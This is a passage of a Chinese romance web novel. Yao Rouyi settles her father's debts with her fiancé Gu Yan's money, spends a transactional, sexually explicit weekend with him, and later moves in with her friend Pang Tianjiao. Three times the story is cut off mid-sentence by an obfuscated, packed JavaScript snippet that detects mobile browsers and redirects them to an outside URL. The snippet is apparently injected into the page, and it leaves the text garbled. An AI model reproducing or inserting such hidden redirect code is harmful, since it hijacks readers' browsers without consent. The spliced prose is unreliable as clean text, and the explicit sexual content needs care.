姚柔伊在电话结束后,忽然觉得身上的力气都被抽走,本就疲累的身躯,更如被骤雨鞭笞的蜉蝣。 他生气了,她也不好受。 她不知道自己是不是在自虐,为什么不能坦诚地说出自己的心里话。 只是用冷冰冰的态度将自己和顾阎那本就没多牢靠的关系越推越远。 她曾经在别处看到的一句话,经营爱情是需要智慧的。 可能她天生缺乏那方面的智慧。 顾阎对她失望之后,还会和她完婚吗?他会后悔吗?他会回去找那天电话里的人吗? 姚柔伊一边浑浑噩噩地想着这些乱七八糟的东西,一边行尸走肉般去住院楼的餐厅给老姚打了米粥和几样清淡小菜。 回到老姚病房,她将病床摇起来,餐桌板支起,把饭菜摆上去。 “怎么了,脸色这么差?”老姚看着面无表情的姚柔伊问,“你现在这脸色看起来比我还差。” 姚柔伊只摇头,她已经没有心力再挤出微笑。 老姚势必要追问下去。 姚柔伊招架不住老姚的刨根问底,只能交待:“刚才跟顾阎打了个电话。” “怎么了?你不是喜欢他吗,跟他打个电话怎么会这样?”老姚转念一想,忙道:“你是不是骗我的,你要真是跟他在一起就无法忍受,可千万不要逼着自己结婚,没钱就没钱,我咨询过律师,只要你不继承我的遗产,那么也不用继承我的债务,咱爷俩大不了相依为命过苦日子。” “不是不喜欢。”姚柔伊摇头:“可能是因为喜欢却没法承认才这样的吧。” 老姚颇为不解:“喜欢就是喜欢,不喜欢就是不喜欢,有什么没法承认的?” “我不知道。”姚柔伊叹气。 见她这样,老姚也不忍继续逼问,拍了拍她的肩膀,跟着叹气:“你就是太懂事,太独立了。” 姚柔伊鼻腔很酸,尽量让声线听起来不抖:“反正他应该是伤心了。” “他伤心就伤心去。”老姚又恢复了往常三分洒脱:“恋爱中的人哪有不伤心难过的,谁还能天天开心不成?” “算了,不提他了。”再提下去她只怕肝肠郁结,姚柔伊现在可一点病都不能生,老姚还躺在床上,指望她照顾呢。 老姚和姚柔伊安静地吃饭,老姚咕哝了句:“这食堂的菜是不是没放盐,怎的一点没味?” “医院的食堂,又不是别处的食堂,肯定少油少盐。” “行吧。”老姚不再挑剔。 吃完饭,姚柔伊把打包盒收拾完丢掉。 手机收到一条短信,她的银行卡收到了一笔巨款。 姚柔伊还以为自己眼花了,她定睛,屏住呼吸,数了数0的个数,来回数了好几遍。 她不是什么异想天开的人,自然不相信这是银行打错款,既然不是天上掉馅饼,那必然是顾阎的手笔。 她点开聊天界面,想编辑一条讯息告诉他自己收到钱了,可迟迟点不出发送。 姚柔伊退出界面,回到病房,问老姚:“你一共欠了多少债,你把要还款的金额、利息以及银行卡号发给我,我去银行办理还款。” 老姚诧异:“你哪来的钱?” “顾阎打来的。” “你让他现在就打钱的?” “我没有说现在,就让他尽快。”姚柔伊平静地陈述:“我说是为了钱才和他结婚的。” “你怎么那么傻,别的真心求财的姑娘,都知道哄人说自己喜欢对方,你这真喜欢的,还非说为了钱。”老姚痛心疾首:“你这搞成这样,他伤心,你也难过,我这拿了钱心里也不好受。” “反正都这样了,现在我先去银行替你还款。”姚柔伊当前只能挑重要的事情去做,这样能缓解她心中的痛楚。 老姚把手机里的拍照留存的借款信息全部发给了姚柔伊。 姚柔伊拿到后,立刻赶往银行。 花了两个多小时,将老姚的债务全部处理完,顾阎打来的钱还剩下三分之一。 她犹豫要不要把这笔钱退回去。 回医院的路上一直在纠结这个问题,她没有感受到还清债务的轻松愉悦感,心情更多的还是沉重。 卡里残留的那沉甸甸的数字快要压得她呼吸不上来。 她自觉虚伪,又觉卑劣。 可毕竟已经拿到了钱,也还完了债,不可能一直躲着顾阎不敢面对。 她鼓起勇气,点开微笑,发了过去:【钱收到了,已经还完我爸的债,还剩下不少,你看余款怎么处理,需要我转给你吗?】 顾阎回复:【不用。】 姚柔伊:【好的,谢谢。】 顾阎:【到底怎么了,突然就和我生分了。】 姚柔伊指尖颤抖,短短一行字总是打错,删删减减好一会儿才发过去。 【没有,可能就是觉得我们的关系适合回归本初。】 老姚的突然自杀行为,一下子把她从对爱情的幻想梦境中拉出来,人一旦考虑现实,就再也提不起勇气去憧憬情情爱爱,她猛然意识到原来插诨打科的老姚承受巨大的精神压力,原来债务压力并不是与她无关。 自古求爱求财难两全,她的道德标准不足以支撑她,在希望他忠贞不渝地爱她的同时,向他索取高额金钱,现实的困境让她只能求财,她自然不敢再去奢求其他,既然不敢求爱,那她的那份情也只能尘封在内心深处,夜深人静时独自品味。 顾阎:【这就是你想要的?】 顾阎:【跟我划清一切,回到只谈钱的时候?】 姚柔伊:【是】 顾阎:【我再问一遍,你喜欢我吗?】 一瞬间,记忆将她带回那晚的草原,他赢下骰子,也是这么直截了当地问她,你喜欢我吗? 那时她的没有回答,现在的她依然无法回答,只是那时是少女的倔强,想听他先告白,现在是现实的制约,她无法坦白。 一滴泪砸到了手机屏幕上,她删掉了输入栏里的【喜欢】两个字。 姚柔伊:【我们之间不适合说这个。】 她不愿发一句不喜欢,她无法欺骗他,更无法欺骗自己。 顾阎:【好,不适合说这个,只适合谈钱对吗?】 姚柔伊:【嗯】 将这个字发过去时她的心脏像被一双怪物的手掌狠狠攥住。 几分钟后,顾阎发来一条语音。 “行,满足你。既然你一定要谈钱,那我们就钱.色交易,剩下的钱够不够买你一夜?亲爱的姚小姐。” 他的声音那么的痞气,又那么的凉薄。 姚柔伊的眼泪一滴滴砸落,手机屏幕上的水珠密密麻麻,已经看不清任何内容。 明明是自己想这样的,可为什么真到了这一步,难受得快要喘不过来气。 姚柔伊:【够】 姚柔伊:【但是这几天我要在医院照顾我爸,没法过去。】 顾阎:【这周末】 他没有把她逼到绝处,给她留了几天。姚柔伊自然不能继续推辞:【好】 结束对话后,他们再也没有聊过天。 回到病房前,姚柔伊特地去卫生间,将自己修整好,确定红眼眶消掉之后,她才放心进门。 她和顾阎的关系急转而下,她不能让老姚察觉出来。 进门后,老姚忙问:“都办理好了?” 姚柔伊点头,“嗯。” 老姚恍如梦中,他没想到自己日夜烦扰的大麻烦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13742184|143710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 居然真的成功解决了,说不激动是假的,他如负释重地躺着,将被子拉过头顶,盖住,在里面一抖一抖,不用想,准是喜极而泣。 或许是无债一身轻,老姚接下来几天恢复得特别快,比预期的恢复情况还要好。 这几天,他躺在病床上,读了很多很多的诗集,恨不得把这二十多年来没能看的,全部报复性地一次补回来。 原本姚柔伊只给他带去两三本打发时间,哪知道他一上午看完,催姚柔伊再去借。 姚柔伊只得又去图书馆借了十多本,高高的一摞放在病床的床头柜上。 看完了,老姚就手痒痒想写,并且还不想用手机写,非要用纸笔写,说这样才有灵感。 姚柔伊又去给他买本子和笔。 现在老姚是个病人,这些小要求很好满足,姚柔伊都会照做。 老姚周五一早办理的出院,原本周六才能出院,奈何老姚实在是呆够了,病房是三人间,人来人往,局促吵闹,不适合他写诗,他迫不及待想回家写。 姚柔伊办理完出院手续,送他回家。 到家后,老姚看着偌大的房子,内心无限感慨,“我还以为我再也回不来了。” “瞎说什么,以后别干傻事就行。”姚柔伊给了老姚一个拥抱。 老姚:“你呢,回来住吗?现在都毕业了,你还去学校附近租的房子吗?” 姚柔伊想到了前几天的约定,顾阎让周末去找她,她说:“我不在这了,我明天要去找顾阎。” 老姚:“你俩现在是什么情况,和好了?” “嗯。”姚柔伊不想老姚替她担心,故而骗他。他刚出院,保持一个好心情有助于身体恢复。 “小情侣嘛,吵吵架很正常,和好了之后不要再说气话,说什么为了钱才结婚,知不知道?” “知道了。”姚柔伊点头,“你能照顾好自己吗?” 老姚摆手:“我不用你操心,自打破产之后,烧饭阿姨走了,你也不在家,都是我自己做饭的。” “当时是赵阿姨帮我来家里看你的,也是她发现你服药,帮忙叫救护车的,我们等会好好感谢一下人家。” “那可得啊,回头去定个饭店,好好请人吃一顿。再准备点礼物。” “嗯,这些我来准备吧。” 姚柔伊预定完饭店,又去首饰店买了个翡翠镯当礼物,当天中午好好招待了赵阿姨一家,老姚和赵阿姨在饭桌上哭得那叫一个感人肺腑。 结束后,姚柔伊把顾阎给的钱,剩下的部分留给了老姚,老姚吓了一跳,连连表示不要。 姚柔伊说:“我现在看到这笔钱心里就难过。” “为什么啊?” 这笔钱代表着她为了现实做出妥协,出卖了自己的意愿,即将也要为了这笔钱,出卖自己的身体。 姚柔伊随便遮掩了一句:“看见这钱就想到跟他吵架,影响我心情。你拿着,我眼不见心不烦。” “那行,钱放我这,我替你保管着。”老姚现在已经没什么需要花钱的事,鬼门关走了一趟,他对人生很多事情都看开了,早已没了多少物欲。 * 晚上九点,姚柔伊孤身一人来到顾阎家。 到了东城机场后,她在机场便利店买了一盒套子,揣着这个小东西,打车区顾阎那里。 那小小的纸盒,好像烧热的火炭,让她指尖发烫。 别墅区保安认识她的面容,这次没有拦他,还亲和有礼地同她打了句招呼。 【我到了,你家没人。】别墅没有任何光亮,姚柔伊给顾阎发信息。 顾阎发来一个地址。是一个很高档的餐厅。 【直接来接我。】 姚柔伊回复:【好】 31. [锁] [此章节已锁] 庆功宴上,顾阎喝了不少酒,本想着联系司机接他,却看见姚柔伊的信息。 他让她周末来找他,她很准时,周五晚上就到了,将整个周末的时间都预留出来。 她总是这样,做什么事都很独立,每次就是出现在他家后,才通知他,自己已经到了。 以往交往过的女人,约会前都会告知他自己的方位,约定接送的时间,而姚柔伊从来不这样,完全不需要他做任何的准备。 总是突如其来地现身,给他一个措手不及。 姚柔伊打车到了餐厅,这个餐厅是上世纪的西洋建筑改造而成的,装修风格复古典雅,餐厅后院是个雅致的花园,可供休憩。 顾阎就坐在花园的长凳上抽烟。 他仍是穿着西装,外套已经脱下放在一边,扣子解开两颗,衣袖也半捋起,露出半截精壮的小臂,他的西装很少会穿着齐整,总在正经中透出一丝不羁的味道来。 姚柔伊走到他身边。 顾阎仍低头看脚下,抽着烟,没有转头看她。 姚柔伊挨着他,无声地在长凳上坐下。 两人都没有开口,花园内只有一盏暖黄色的路灯,光线昏暗,顾阎半张脸隐没在夜色中,影影绰绰,看不真切。 姚柔伊安静地坐着,连呼吸都很轻。 烟味、酒味、花草味、泥土味、夏夜的晚风将这些混乱的味道裹挟而来、又吹散而去。 直到一支烟抽完,顾阎才开口,“走吧。” 他站起身,脚步还算稳健,无需她搀扶。姚柔伊拿着他的西装外套,沉默着快步跟在身后。 泊车员已经将顾阎的车开到了门口,顾阎坐到后面,姚柔伊在前面开车。 顾阎在后座看手机,姚柔伊从后视镜中窥探,见他只是在浏览界面,没有打字。 车里的氛围很压抑,姚柔伊只能放音乐,来缓解这份尴尬。 她瞥见蓝牙连接记录中,除了顾阎,还有一条,ZHENG “ZHENG是谁?”姚柔伊没忍住好奇心。 顾阎把视线从手机上移开,不悦道:“我们不是只谈钱的关系吗?我有必要回答吗?” 话虽如此,可听起来并不好受,姚柔伊讪讪道:“哦,随便问问。” 车里再度陷入沉默,姚柔伊连歌都不想放,就任由这窒息的沉默包裹着两人。 前方红灯,车子停下的那刻,姚柔伊落败了,她主动开口。 “就算是只谈钱的关系,难道就不能正常聊天了吗?” “正常聊能聊,就是不能深入聊了。”顾阎语气淡淡的。 意指ZHENG这个人不适合深入聊下去。 姚柔伊又说:“是上次打你电话的那个人吗?” 顾阎没否认:“是。” 答案和猜想一致,本不意外,姚柔伊还是心梗了一下:“我知道了。” 红灯转绿,后车按喇叭催促,姚柔伊没有再说话,只沉静地开车。 不多时,顾阎问道:“什么感觉?” 听到这个答案的你心情如何? 姚柔伊自是不会坦诚,冷冷开口:“没什么感觉。” “行。”顾阎哼了声,话语凉薄:“到底是只谈钱不走心的关系啊。” 姚柔伊握着方向盘的手指紧了紧,固执着没说话。 顾阎又问:“你爸身体怎么样了?” 之前他还叫她爸叔叔,现在已经生分成你爸了。 “挺好的,出院了。” 顾阎没有深入问下去,只说:“那就好。” 车内再次陷入沉寂。车窗外车水马龙、热闹非凡,更衬显出车内寂寥无边。 半晌,顾阎再度开口:“知道今天来是要做什么的吗?” 话题终于拉回到他们两人身上,姚柔伊脊背僵直,紧张的情绪油然而生。 “知道。”姚柔伊绷直唇线。 “知道什么?” 顾阎歪着头打量她的侧脸,她的头发还是之前那样,柔顺的黑长直,长发被她挽在耳后,露出精致白皙的耳朵。 她今天的穿着也很不同,清爽的白t和牛仔裤,很减龄,看起来清纯乖巧,宛如一株雨后的茉莉。 只是耳朵上三个耳洞,透露出面具之下的本真。 顾阎毫不遮掩的视线让她身体轻微发热,姚柔伊深吸了一口气,颇有些豁出去的架势:“来上床的。” 顾阎身体向后靠,长腿交叠,手肘后撑,高高在上地发问:“和不喜欢人,你也能上床?” 姚柔伊微弱地叹气:“他给了我很多钱,我当然可以和他上床。” 这个“他”自然指的就是顾阎。 “行,希望你今晚的表现能让他满意吧。” * 到了住处,顾阎进门后径直去洗澡。 姚柔伊在客厅,手足无措地站着。 在进浴室之前,顾阎看了眼姚柔伊,轻飘飘地邀约:“要一起吗?” 姚柔伊呼吸暂停了一拍,大脑搅得跟浆糊似的,嘴上也回得磕磕绊绊:“额……这个……你要是需要,我……我随便,听你的。” 心里有愧加上口是心非,让她在顾阎面前相当被动,不再是之前那般嘴巴不饶人的水平。 “我需要。”顾阎抱着手臂,倚靠在门边,嘴角一抻,直勾勾盯着她,痞气十足。 他的压迫感和戏弄感太强了,姚柔伊硬着头皮走过去,“哦,那好吧。” 顾阎的眼神从上至下,肆无忌惮地扫视她,忽然弯腰贴近她,在她耳边轻声:“你今天穿的真像中学生。” 他话中满满的玩味和调侃。 姚柔伊这段时间一直在医院,根本无心打扮,穿着主打一个舒适随便,来找顾阎前,也没有特地换装。 却没想到这么简单的白T、牛仔裤和板鞋,在他眼里像学生。 “你在说我土吗?”姚柔伊低头扯了一下牛仔裤。 顾阎嘴角勾起的弧度很邪气,他摸摸嘴唇:“不,我说你嫩。” 姚柔伊脸刷地一下升腾起红晕,她啐了一句:“变态。” “冤枉死了,我不可能碰学生的。”顾阎委屈辩解。 或许是这句调戏的话立了功,两人之间不再像方才那般僵持不自在,氛围稍显轻松。 “我……我感觉第一次就在浴室,有点太超过了,能不能,能不能别一起洗……”姚柔伊还是没忍住说出内心想法。 “好,我先去洗了。” 话音刚落顾阎就答应下来,见他一点不为难自己,姚柔伊吃惊地望着他。 “我就想让你表现得真实一点,没想真在浴室里怎么样。”顾阎伸手揉了一下她的发顶,进入浴室,关上了门。 姚柔伊坐在沙发上,听着浴室的水声,心中小鹿乱撞,指尖不小心碰到口袋里的小盒子,意识到那是什么后触电般弹开。 她不停地深呼吸,没事的,不要紧张,和自己喜欢的人发生亲密的事,是一件很舒服、很幸福的事。就算不能表现出喜欢他,不能和他成为爱侣,但能享受他的身体,也算一种慰藉吧。 顾阎洗澡的速度挺快,姚柔伊觉得自己刚坐下,他就湿漉漉地从浴室里出来了。 姚柔伊条件反射似的站起身:“那个,我去洗一下。” “新的洗浴用品在洗手台下方储物柜里。” “哦,好的。” 姚柔伊进了浴室,水汽扑面而来,沐浴露的味道弥漫开,空气中的湿热感包裹着她,让她渐渐松弛下来。 姚柔伊打开储物柜,拿出新的洗浴用品,意外发现,这些居然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13744579|143710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全部都是香橙气味的。 他方才用的沐浴露根本不是任何果香味的。这些洗浴用品不会是很早之前的囤货,而是专门为她准备的。 他知道她的喜好,他记下了,也用上了。 姚柔伊的心情格外愉悦,翘起的嘴角比AK4还难压,几日来的沉郁心情都被这个发现一扫而空。 搓泡泡的时候,甚至快乐地哼起歌。 她突然发现自己的追求变简单了,只要确定他喜欢自己就心满意足,毕竟自己没法坦荡地喜欢人家,那么还能从他那里获得被喜欢,已经足够让人欣喜,又何必在乎什么忠贞不渝。 姚柔伊洗完澡,吹干头发,走出浴室门,看见顾阎坐在沙发上,腿前的茶几上摆着一瓶红酒,以及两个高脚杯。 “过来喝点。”红酒已经开过瓶,他在两个高脚杯中各倒了半杯。 也好,喝酒助兴,也能助性。 姚柔伊走过去,刚要在他旁边坐下去,便听他说:“坐我腿上。” 姚柔伊半坐下去的身子顿时定住,一动不动,顾阎直接掐着她的腰,把她提起来,分腿坐在他腿上。 她的背贴在他的胸膛上,男人的体温比她高不少,好似靠上一座暖炉。 他把其中一杯酒端给她,姚柔伊从善如流地接过。 “你今晚不是已经喝过了吗?还喝真的没问题吗?”姚柔伊关心他。 顾阎端起另一只高脚杯,调笑道:“哦,担心我待会发挥不行?” 姚柔伊面上窘迫,这方面的嘴皮子本就是女方不占便宜,尤其还遇上顾阎这种不正经的男人。 “我以前觉得你可正经了。”姚柔伊好似回想起了他们的初遇,比去她看望顾卫国更早的时候,在她爷爷的葬礼上,他是那么的优雅矜贵,翩翩有礼,“你以前真的特别贵公子。” “哦?现在呢?”顾阎抿了口红酒,好整以暇地等着她评价。 姚柔伊:“一个脱掉绅士伪装的老流氓。” “流氓?”顾阎笑出声,“那流氓是不是该干点流氓的事,不然对不起你给我戴的‘高帽’。” 姚柔伊刚喝了一口酒,还没来得及咽下去,就被顾阎捏住下巴,吻了上来。 眼睛遽然瞪大,他的舌头蛮横无礼,强硬地撬开她的唇齿,无所顾忌地探进去。 她的嘴巴被迫张大,口中的残酒一半被他的舌尖卷走,一半顺着嘴角溢出来。 那道绯红液体滑过细长柔韧的天鹅颈,精致秀气的锁骨,钻入那抹隆起的白晕中,像一条艳丽的、毒液可以催情的细蛇,蜿蜒着钻入伊甸园神秘的深处。 呼吸被褫夺,姚柔伊紧闭双眸,仰着头,承接着他的攻城略地。她的后脑,她的腰肢,早被他的铁钳般的大手固定住,动弹不得,在这禁锢中,她渐渐化作一滩春水。 忘记过去多久,他的舌缠绵不舍地退出来,呼吸声粗重滚热,“呼吸啊,我还没亲够,真怕你窒息晕过去。” 姚柔伊气喘吁吁,大口喘息,像溺水的人终于获救。 她睁开眼,顾阎放大的五官近在眼前,她的心跳频率稍稍平复。 “在草原的那晚就该这么干了。”顾阎又贴上来啄吻她。 吻到嘴角时,他突然伸处舌尖,沿着那道残存的酒痕一路舔下去…… “啊……”姚柔伊身体细密颤抖,口中泄出轻碎的呻.吟。 他再次抬起头时,姚柔伊忽然想到红梅覆雪四个字,哦不,明天的皮肤状态应该叫红梅压雪才对。 他抱起她,往卧室走。 姚柔伊环着他的脖子,有些煞风景地,在他耳边说了句悄悄话。 明明洗澡的时候解决过的…… 真是搞不懂。 “不许去。”他笑得又邪又痞:“憋着更有感觉,信我。” 32. [锁] [此章节已锁] 整个周末,姚柔伊没有离开过这栋别墅一步,她第一次体验到在情欲中沉沦堕落的感受。 那一夜,姚柔伊对顾阎的恶劣程度有了新的理解。 他在床上非常执着,一直问“你喜不喜欢我”、“你爱不爱我”,每次不听到满意的回答,他就调整进攻的速度和角度,极尽所能地在性.事上温柔地折磨她、鞭笞她,让她在意识几近崩溃时说出自己想听的答案,再予以她最后的释放。 几次下来,姚柔伊被折腾地乖顺极了,一直抱着他说喜欢他、好喜欢好喜欢他。 更让姚柔伊不愿回想的是,他说憋着更有感觉的那次,结束后他坏笑着咬她耳朵:“怎么和小孩一样还尿床呢。” 姚柔伊羞耻到崩溃大哭。 顾阎立马收了调笑,抱着她说她刚才很美、自己很喜欢看。 这个周末,姚柔伊白天补觉,晚上和顾阎胡来,一时间昼夜颠倒,分不清今夕白夜。 顾阎简直就是个铁人,晚上不论放纵,第二天一早又准时起来去公司,留姚柔伊一个人休息。 连着两晚鏖战到凌晨,周末的清晨顾阎依然神采奕奕,姚柔伊见他穿好衣服,在打领带,有气无力地问他:“你这样真的不会猝死吗?” “又不是天天这样,我都寡多久了。”顾阎俯身亲了她一下:“再说,你就来周末两天,我要什么都不做多浪费。” “太恐怖了,我再不走真怕……”姚柔伊的视线瞥到了床头的垃圾桶,里面的纸巾团和使用过的套子满到快要溢出来,全是他们放纵的证明。 更直观的就是她的身体,酸痛得只想躺着,洗澡时草草照了一下浴室的镜子,嫩白的皮肤上没几块好皮,都是层层累累、深浅不一的痕迹。 有吻的,也有揉捏的,她的皮肤很容易留下痕迹,顾阎上头时稍微多用了些力,她的身上就会又多一块印记。 “怕死在床上吗?”顾阎接着她的话说,他亲昵地用下巴蹭她的脸:“我可舍不得。” “那你还不轻点。”姚柔伊瞪他,每次她哭叫着轻点自己受不住,他嘴上答应着,动作却一点没收敛。 “我真轻下来,你就没那么爽了。”是快是慢,是轻是重,他主要靠感受她身体的本能反应来判断,所以才能给她多重高潮的体验。 他势必要让她食髓知味,让本能超越理智,让她的身体比她的头脑更加迷恋他,依赖他,离不开他。 “我是很爽啦。”姚柔伊诚实地说,“以前没有这种很疯狂,快要死掉的感觉。” “以前你的男人都很逊。”顾阎自信又张狂,“你紧得我差点以为是第一次,真不知道之前你找的那些男人怎么下得去嘴的。” “哦,我以前没福气,才吃上好的不行吗?”姚柔伊推了他一下,翻了个白眼。 顾阎笑得很得意,凑过来吻她的嘴,姚柔伊朝后躲:“不行,我还没刷牙,嘴巴很恶心。” “再恶心的地方都亲过了。”顾阎没理,缠着她亲了个嘴。 听他说这话,姚柔伊的脸登时又红了,他确实非常突破她的心理防线,身体所有的地方都被他亲过,他根本不在乎是否污秽,每次都哄她,亲那里很舒服,不信你试试,耐不住好奇的姚柔伊屡屡被得手。 顾阎离去后,姚柔伊睡了回笼觉。 再醒来时已经10点多,她基本上两天没有正常穿衣服,起初是浴袍,后来是一件他的T恤当睡衣。 姚柔伊从床上爬起来,换上一开始穿来的衣服。 来时没有化妆,但现在不用点遮瑕实在是没法出门。 她在顾阎家没有发现化妆品,只能戴上口罩、墨镜、鸭舌帽,全副武装地出门采购。 因为脖子上的印记太显眼,一路上巨尴尬,只能不停洗脑自己,没事的,生活中没那么多观众,没人能看清自己的脸,没有人会认识自己是谁。 去商场买完遮瑕,她火速溜到洗手间,将外露的吻痕全部遮上,这才舒畅地呼出一口气。 这两天的体验简直就像一场浩大的春.梦,一切都是半梦半醒间的美妙沉沦。 现在梦醒了,她就像12点钟以后的灰姑娘,理应回去,虽然自己很舍不得。 之前只是拥抱,她对顾阎的怀抱就产生了依恋,如今发生更为亲密的交融,她更是贪恋过度,恨不得每分每秒的都黏着他,什么比生理性的喜欢和契合更让人流连忘返的。 顾阎这人很坏,一直逼她说喜欢他,姚柔伊只得一遍遍在痛苦和欢愉交界线重复着喜欢他,喜欢他,说着说着,她便流泪,他喜欢看她流泪。 或许后来顾阎听腻了,不想再逗她了,可她还是在那不停说着好喜欢,好喜欢你。 她很感谢,还好在大众认知标准下,床上的话都做不得数,她才能坦荡说爱,也能在清醒分开时将爱重新封存。 【我走了。】姚柔伊走前给顾阎发了信息。 顾阎:【真无情。】 姚柔伊:【?】 顾阎:【爽完就走。】 姚柔伊:【你只是让我周末来找你】 顾阎:【我如果想你一直在,你会来吗?】 一直在,一直做.爱,是个人都受不住,姚柔伊胆寒,现在她的腿还酸软似面条。 姚柔伊:【我有自己的事情要做。】 至少,她搬家才搬一半呢,还得回去面对房东的冷嘲热讽。 顾阎:【是,你的事堪比国家大事。】 听出他话里的不爽和讽刺,姚柔伊叹气,只得想解决方案:【我们可以约定时间】 以前,在签娃娃亲合约时,她还特别注明不同房,但如今既已发生,她也挺满意,自然可以就这件事重新拟定新合约。 顾阎:【每周末怎么样?】 姚柔伊:【好】 别人是五天工作日,两天休息日,而她是五天画稿日,两天打炮日,唉,真比996的社畜还要辛苦。 顾阎:【下次套套的尺寸记得买对】 姚柔伊:【……好】 这实在是太尴尬了。 她在便利店随手拿了L号,哪知道还有XL、XXL,以致于L号都是最小号,顾阎完全用不了,还好他家有备用的,不然差点要搞不上。 哦,套套的味道也是橙子味的…… 她的脸烧得更厉害了。 * 姚柔伊回到出租房,情况比她预想的还糟糕,她以为会被房东臭骂一顿,然后继续收拾,哪知道房东直接把她还没收拾完的东西装在大黑塑料袋中,全丢出去,堆在一旁的杂货堆里。 呵呵,连进门都不给她进门了。 姚柔伊气急败坏地联系房东,发现自己已被拉黑。 自己的下一步到底何去何从? 此时得先找个落脚的地,能暂时存放她的东西,姚柔伊只得求助人脉广泛的蒋洲,好在蒋洲虽在国外有时差,但还是看见姚柔伊的信息。 他突然想到前几天看到庞天娇在朋友圈里发找室友的公告,就把这事跟姚柔伊说了。 姚柔伊这些天忙得焦头烂额,肯定没来得及看朋友圈,错过了这条。 现在一听到这消息,忙去联系庞天娇,问她现在在哪,找到合租室友了吗? 庞天娇秒回:【还在A市,没找到。】 姚柔伊:【太好了,我去找你,我现在被房东赶出来了,没有住的地方,我跟你合租吧。】 庞天娇喜出望外:【真的吗?太好了!】 姚柔伊:【你给我个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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庞天娇是她朋友,她没必要掩藏什么,故而承认了:“我刚从他那边回来,在新疆机场的时候你应该见过他。” “你的未婚夫吗?你们谈了多久呀?”庞天娇回忆起顾阎和姚柔伊站在一起时的画面,俊男美女,靓爆机场:“我觉得你们特别配。” “我们认识也就两三个月啦。” “这么快就订婚了?”庞天娇特别吃惊。 “其实还不算订婚吧。”毕竟只是有娃娃亲合约在,还没有办订婚仪式。 只是因为不是正常途径认识的,所以她通常不认为顾阎是她男朋友,而是觉得他是未婚夫。 “奉旨成婚的那种未婚夫。”姚柔伊向庞天娇调侃他们的关系。 庞天娇仍然很好奇:“可是感觉不出来哎,我觉得你们像感情特别好的情侣。” “真的吗?”姚柔伊对她的话感到惊奇。 庞天娇特别肯定:“是的,我一点也不觉得你们是‘奉旨成婚’,我有亲戚是相亲结婚的,他们就完全没有给我很情侣的感觉,但你和你的未婚夫就不是这样的,你们真的很情侣,一点点都不生分呀。难道你和他在一起就没有谈恋爱的感觉吗?” 这句话倒是一下子戳中姚柔伊的心。 和他在一起的感觉,是恋爱的感觉吗? 是的。她很肯定。 比之前谈的恋爱加起来还让她心潮澎湃,百转千回。 喜怒哀乐、酸甜苦辣,种种情绪与他相关,她内心不想被任何人影响,但实际上情绪已经被他左右,只是她没有意识到这么严重。 “是在谈恋爱,只是有点怪。”姚柔伊笑着说。 甜蜜与苦涩交缠不休。 33. 第 33 章 姚柔伊原本想租个一居室,私密性和自由性更高,但在和庞天娇合租几天后,瞬间放弃了之前的想法。 因为庞天娇简直是她的反面,她特别喜欢做家务、整理东西,客厅、厨房、阳台、浴室,所有公共区域她都每天打扫,而且她还喜欢自己做饭,厨艺还很好,秒杀姚柔伊已经吃腻的外卖。 这简直就是完美的合租室友,姚柔伊主动提出多负担房租和买菜钱,希望她做饭的时候能带她一份。 庞天娇说她做饭本来就是两个人一起吃的,起初还担心姚柔伊吃不惯她的手艺,没想到她特别捧场,每顿饭都夸得天花乱坠,给予很大的情绪价值,让她每天做饭都更有动力了。 最后,姚柔伊还是强行多出了钱,如果庞天娇不同意,她就不好意思再吃下去。 她知道庞天娇的家境并不好,工作也不稳定,收入不如她,姚柔伊非常想替她多分担一些经济压力。 庞天娇是一个对自己很真心的人,虽然她们性格迥异,相熟得晚,但这份友情是一份宝贵的礼物。 她们的聊天逐渐深入,有关顾阎的部分,姚柔伊也没有藏着掩着,告诉庞天娇自己每周末要去他那边。 “这算周末夫妻吗?”平时相隔两地,周末的时候住在一起。 姚柔伊叹气:“这应该是暂时情况吧,等到订婚过后,应该就要住在一起了。” “呜呜,那岂不是很快要和你分开了?”庞天娇很舍不得地抱着她。 “没事,到时候你也可以来东城呀,我们就能经常见面了,那边工作机会挺多的。”姚柔伊安慰她,“我也好舍不得你。” “你去吧,但是要注意安全,不要惹上‘人命’。”熟了之后的庞天娇偶尔也会来几句出格的话。 “知道,知道,一直都做好防护的。”姚柔伊捏了捏她的脸,“你呢,什么时候交男朋友,我帮你掌掌眼。” “我就算了,我不漂亮,找男朋友好难。”庞天娇叹气。 “老天爷,你这是有什么心魔吗,你照照镜子,你的脸型特别流畅,只要化化妆,妥妥美女一枚呀,五官易化,脸型难遮你懂不懂?”姚柔伊恨铁不成钢地摇摇头:“而且你还有这么好的厨艺,你还那么会拍照,我真怕你因为不自信找了一个完全配不上你的男朋友,那才是叫人崩溃的,还不如单身呢。” 庞天娇羞涩地笑起来:“谢谢你总夸我,我感觉一下子自信多了。” 姚柔伊再次强调:“不要看轻自己,找男朋友不要向下找。” 庞天娇连连点头。 